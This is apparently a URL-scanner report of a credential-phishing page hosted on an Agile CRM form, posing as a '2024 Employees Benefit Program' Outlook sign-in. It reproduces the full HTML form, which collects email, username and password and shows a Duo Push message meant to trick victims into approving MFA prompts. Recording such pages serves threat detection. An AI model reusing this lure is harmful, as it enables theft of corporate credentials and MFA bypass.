ebprogram.agilecrm.com
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2a00:1450:4001:80b::2013
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Submitted URL: http://ebprogram.agilecrm.com/forms/5474979343564800
Effective URL: https://ebprogram.agilecrm.com/forms/5474979343564800
Submission: On April 02 via manual from US — Scanned from DE
Effective URL: https://ebprogram.agilecrm.com/forms/5474979343564800
Submission: On April 02 via manual from US — Scanned from DE
Form analysis
1 forms found in the DOMPOST https://ebprogram.agilecrm.com/formsubmit
<form class="form-view theme7" id="agile-form" action="https://ebprogram.agilecrm.com/formsubmit" style="max-width:450px;" method="POST">
<fieldset>
<!-- Form Name -->
<legend>2024 Employees Benefit Program</legend>
<p class="agile-form-description">Sign in to continue to outlook</p>
<div style="display: none; height: 0px; width: 0px;">
<input type="hidden" id="_agile_form_name" name="_agile_form_name" value="2024 Employees Benefit Program">
<input type="hidden" id="_agile_domain" name="_agile_domain" value="ebprogram">
<input type="hidden" id="_agile_api" name="_agile_api" value="8l9cq1t16rimg2vi03ovjf035t">
<input type="hidden" id="_agile_redirect_url" name="_agile_redirect_url" value="#">
<input type="hidden" id="_agile_document_url" name="_agile_document_url" value="">
<input type="hidden" id="_agile_confirmation_msg" name="_agile_confirmation_msg" value="Please open Duo Mobile and check for Duo Push requests manually.">
<input type="hidden" id="_agile_form_id_tags" name="tags" value="">
<input type="hidden" id="_agile_form_id" name="_agile_form_id" value="5474979343564800">
</div>
<!-- Text input-->
<div class="agile-group required-control">
<label class="agile-label" for="agilefield-3">Email Address<span class="agile-span-asterisk"> *</span></label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-3" name="email" type="email" placeholder="" class="agile-height-default" required="">
</div>
<div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group required-control">
<label class="agile-label" for="agilefield-1">Username<span class="agile-span-asterisk"> *</span></label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-1" name="first_name" type="text" placeholder="" class="agile-height-default" required="">
</div>
<div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group required-control">
<label class="agile-label" for="agilefield-2">Password<span class="agile-span-asterisk"> *</span></label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-2" name="last_name" type="text" placeholder="" class="agile-height-default" required="">
</div>
<div class="agile-custom-clear"></div>
</div>
<!--recaptcha aglignment-->
<!-- Button -->
<div class="agile-group">
<label class="agile-label"> </label>
<div class="agile-field agile-button-field">
<button type="submit" class="agile-button">Sign in to continue</button>
<br><span id="agile-error-msg"></span>
</div>
</div>
</fieldset>
</form>
Text Content
2024 Employees Benefit Program Sign in to continue to outlook Email Address * Username * Password * Sign in to continue